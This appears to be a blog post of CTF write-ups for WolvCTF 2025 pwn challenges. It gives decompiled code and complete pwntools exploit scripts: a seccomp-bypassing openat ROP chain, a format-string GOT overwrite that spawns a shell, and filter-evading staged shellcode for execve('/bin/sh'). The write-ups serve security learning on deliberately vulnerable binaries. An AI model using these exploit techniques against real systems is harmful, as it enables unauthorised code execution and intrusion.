Void
WolvCTF 2025 - PWN 본문
- DryWall
- TakeNote
- LabGrwon
- VC1K
DryWall
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
__int64 v5; // [rsp+108h] [rbp-8h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v5 = seccomp_init(2147418112LL);
seccomp_rule_add(v5, 0LL, 59LL, 0LL);
seccomp_rule_add(v5, 0LL, 2LL, 0LL);
seccomp_rule_add(v5, 0LL, 322LL, 0LL);
seccomp_rule_add(v5, 0LL, 19LL, 0LL);
seccomp_rule_add(v5, 0LL, 20LL, 0LL);
seccomp_rule_add(v5, 0LL, 310LL, 0LL);
seccomp_rule_add(v5, 0LL, 311LL, 0LL);
seccomp_load(v5);
puts("What is your name, epic H4x0r?");
fgets(name, 30, stdin);
printf("Good luck %s <|;)\n", name);
printf("%p\n", main);
fgets(s, 598, stdin);
return 0;
}
$ seccomp-tools dump ./chal
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0013
0006: 0x15 0x06 0x00 0x00000013 if (A == readv) goto 0013
0007: 0x15 0x05 0x00 0x00000014 if (A == writev) goto 0013
0008: 0x15 0x04 0x00 0x0000003b if (A == execve) goto 0013
0009: 0x15 0x03 0x00 0x00000136 if (A == process_vm_readv) goto 0013
0010: 0x15 0x02 0x00 0x00000137 if (A == process_vm_writev) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
The open syscall is banned. Instead, you can use the openat syscall, so you can get the flag with orw ROP.
from pwn import *
log = lambda x : print(f'[*] {x} : {hex(eval(x))}')
#p=process('./chal')
p=remote('drywall.kctf-453514-codelab.kctf.cloud', 1337)
p.sendlineafter(b'H4x0r?\n', b'a')
p.recvuntil(b'0x')
pie_base=int(p.recvline()[:-1].decode(), 16)-0x00000000000011A3
log('pie_base')
pop_rax=pie_base+0x000000000000119b
pop_rdi=pie_base+0x00000000000013db
pop_rsi_r15=pie_base+0x00000000000013d9
pop_rdx=pie_base+0x0000000000001199
syscall=pie_base+0x000000000000119d
bss=pie_base+0x4800
payload=b'a'*0x110+p64(0)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(pop_rdx)+p64(0x100)+p64(pop_rax)+p64(0)+p64(syscall)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(pop_rax)+p64(257)+p64(syscall)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(pop_rdx)+p64(0x100)+p64(pop_rax)+p64(0)+p64(syscall)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(pop_rdx)+p64(0x100)+p64(pop_rax)+p64(1)+p64(syscall)
p.sendline(payload)
sleep(0.5)
p.send(b'/home/user/flag.txt')
p.interactive()
TakeNote
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
if ( v0 == 1 )
{
printf("Which note do you want to write to? [0 - %d]\n", (unsigned int)(size - 1));
__isoc99_scanf("%d", &idx);
getchar();
if ( idx < 0 || size <= idx )
{
puts("Nice try buddy *-*\n");
exit(1);
}
fgets(src, 33, stdin);
strncpy(&v4[16 * idx], src, 0x11uLL);
v5[idx] = 1;
}
else
{
if ( v0 != 2 )
break;
puts("Which note do you want to print?\n");
__isoc99_scanf("%d", &idx);
getchar();
if ( idx < 0 || size <= idx )
{
puts("Nice try buddy *-*\n");
exit(1);
}
if ( !v5[idx] )
{
puts("You haven't written that note yet >:(\n");
exit(1);
}
puts("Your note reads:\n");
printf(&v4[16 * idx]);
}
Format String Bug exists. So you can leak the pie base and libc base. By calling system("/bin/sh") through the GOT overwrite, you can get a shell. But, v4 is on heap arena, so you need to use double-stage FSB for GOT overwrite.
if ( v0 == 1 )
{
printf("Which note do you want to write to? [0 - %d]\n", (unsigned int)(size - 1));
__isoc99_scanf("%d", &idx);
getchar();
if ( idx < 0 || size <= idx )
{
puts("Nice try buddy *-*\n");
exit(1);
}
fgets(src, 33, stdin); // <<---------------- rip
strncpy(&v4[16 * idx], src, 0x11uLL);
v5[idx] = 1;
}

The value of src is 0x61616161..... . If you write the GOT address to src, it can then be used by the fsb address.
from pwn import *
log = lambda x : print(f'[*] {x} : {hex(eval(x))}')
def INPUT(data) :
data+=b'\x00'
for i in range(len(data)//16+(len(data)%16!=0)) :
p.sendlineafter(b'3. Exit\n\n', b'1')
p.sendlineafter(b']\n', f'{i}'.encode())
p.sendline(data[i*0x10:i*0x10+0x10])
#p=process('./chal')
p=remote('takenote.kctf-453514-codelab.kctf.cloud', 1337)
e=ELF('./chal')
l=ELF('./libc-2.31.so')
p.sendafter(b'write?\n\n', b'99')
payload=b'%1$p%16$p'
INPUT(payload)
p.sendlineafter(b'3. Exit\n\n', b'2')
p.sendlineafter(b'print?\n\n', b'0')
p.recvuntil(b'0x')
libc_base=int(p.recvn(12).decode(), 16)-0x1ed723
log('libc_base')
pie_base=int(p.recvn(14).decode(), 16)-0x10f0
log('pie_base')
got_printf=pie_base+e.got['printf']
system=libc_base+l.symbols['system']
payload=f'%{((system//0x10000)%0x100)}c%12$hhn%{(system%0x10000)-((system//0x10000)%0x100)}c%13$hn'.encode()
INPUT(payload)
p.sendlineafter(b'3. Exit\n\n', b'1')
p.sendlineafter(b']\n', b'98')
p.sendline(p64(got_printf+2)+p64(got_printf))
p.sendlineafter(b'3. Exit\n\n', b'2')
p.sendlineafter(b'print?\n\n', b'0')
p.sendlineafter(b'3. Exit\n\n', b'1')
sleep(0.1)
p.sendline(b'0')
sleep(0.1)
p.sendline(b'/bin/sh\x00')
p.sendlineafter(b'3. Exit\n\n', b'2')
p.sendlineafter(b'print?\n\n', b'0')
p.interactive()
LabGrown
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x3fe000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
void run()
{
int v0; // [rsp+8h] [rbp-38h]
int i; // [rsp+Ch] [rbp-34h]
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts(
"You got new lab grown shells? I don't care for that organic garbage... If you don't got shells fresh of the condense"
"r get outta my shop!");
puts("What, Still here? Hand it over, that thing, your synthetic shell");
memset(s, 144, 0x20uLL);
fgets(s, 32, stdin);
v0 = 0;
for ( i = 0; i <= 31; ++i )
{
if ( s[i] == 10 )
{
s[i] = -112;
s[i + 1] = -112;
v0 = i;
}
}
check_shellcode((__int64)s, v0);
s[30] = 15;
s[31] = 5;
__asm { jmp rax }
}
After inputting the shellcode, syscall opcode(0F 05) will be added at the end, and it will be executed. This binary has NX disabled, so you can input shellcode that calls read(0, stack, nbase) using a syscall, and then input shellcode for execve("/bin/sh") to get a shell.

To craft the read(0, stack, nbase) shellcode, you need to set the registers like this:
rax = 0
rdi = 0
rsi = stack(rax or rdi or r8 or ....)
rdx = value(sufficiently large)
unsigned __int64 __fastcall check_shellcode(__int64 a1, int a2)
{
int v3; // [rsp+1Ch] [rbp-24h]
int i; // [rsp+20h] [rbp-20h]
int j; // [rsp+24h] [rbp-1Ch]
int k; // [rsp+28h] [rbp-18h]
int m; // [rsp+2Ch] [rbp-14h]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
v3 = 0;
for ( i = a2; i <= 31; ++i )
{
if ( *(_BYTE *)(i + a1) != 0x90 )
v3 = 1;
}
for ( j = 0; j < a2 - 1; ++j )
{
if ( ((*(_BYTE *)(j + a1) ^ *(_BYTE *)(j + 1LL + a1)) & 1) == 0 )
v3 = 1;
}
for ( k = 0; k < a2 - 1; ++k )
{
if ( (unsigned __int8)(*(_BYTE *)(k + a1) ^ *(_BYTE *)(k + 1LL + a1)) > 0xC0u )
v3 = 1;
}
for ( m = 0; m < a2 - 2; ++m )
{
if ( (unsigned __int8)(*(_BYTE *)(m + a1) ^ *(_BYTE *)(m + 2LL + a1)) <= 0x1Fu )
v3 = 1;
}
if ( v3 )
{
puts("You wouldn't cook on one of these... did you learn nothing from my chemistry class?");
exit(1);
}
return __readfsqword(0x28u) ^ v8;
}
Shellcode filtering is very difficult. However, there is no easy way to write shellcode, and this is the key point of this wargame. Simply put, you need to keep checking the filtering and create the read() shellcode.
from pwn import *
context(arch='amd64', os='linux')
p=process('./chal')
#p=remote('labgrown.kctf-453514-codelab.kctf.cloud', 1337)
e=ELF('./chal')
l=ELF('./ld-2.31.so')
def check(data) :
for i in range(len(data)-1) :
if((data[i]^data[i+1])&1==0) :
print(f'{i} and {i+1} &1 is same')
return False
if((data[i]^data[i+1])>0xC0) :
print(f'{i} and {i+1} : {hex(data[i])}^{hex(data[i+1])} {hex((data[i]^data[i+1]))}>0xC0')
return False
if(i!=len(data)-2 and (data[i]^data[i+2])<=0x1f) :
print(f'{i} and {i+2} : {hex(data[i])}^{hex(data[i+2])} {((data[i]^data[i+2]))}<=0x1f')
return False
return True
def valid_next(data) :
a=data[-2]
b=data[-1]
c_list=[]
for c in range(0x100) :
if((b^c)&1==0) : continue
if((b^c)>0xC0) : continue
if((a^c)<=0x1f) : continue
c_list.append(str(hex(c))[2:])
print(c_list)
payload=asm('''
mov dl, 0xf1
push rsi
push rdi
sub al, 0x1
pop rsi
stc
nop
mov bl, 0xb0
stc
pop rax
pop rcx
not bl
push rax
pop rdi
mul bl
nop
mov bl, 0x0
pop rcx
''')
print(payload.hex())
print(check(payload))
valid_next(payload)
p.sendline(payload)
p.sendline(b'\x90'*0x40+asm(shellcraft.execve('/bin/sh')))
p.interactive()
VC1K
I didn't solved it yet.
'CTF' 카테고리의 다른 글
| PwnMe CTF 2025 - PWN (0) | 2025.03.09 |
|---|---|
| EHAX CTF 2025 (0) | 2025.02.17 |
| CCE 2024 Quals | Pwn - Untrusted Compiler (0) | 2025.02.03 |
| YISF 2024 Finals | Pwn - Happy SIGnal (0) | 2025.01.21 |
| UofTCTF 2025 - Pwn (4/6) (0) | 2025.01.15 |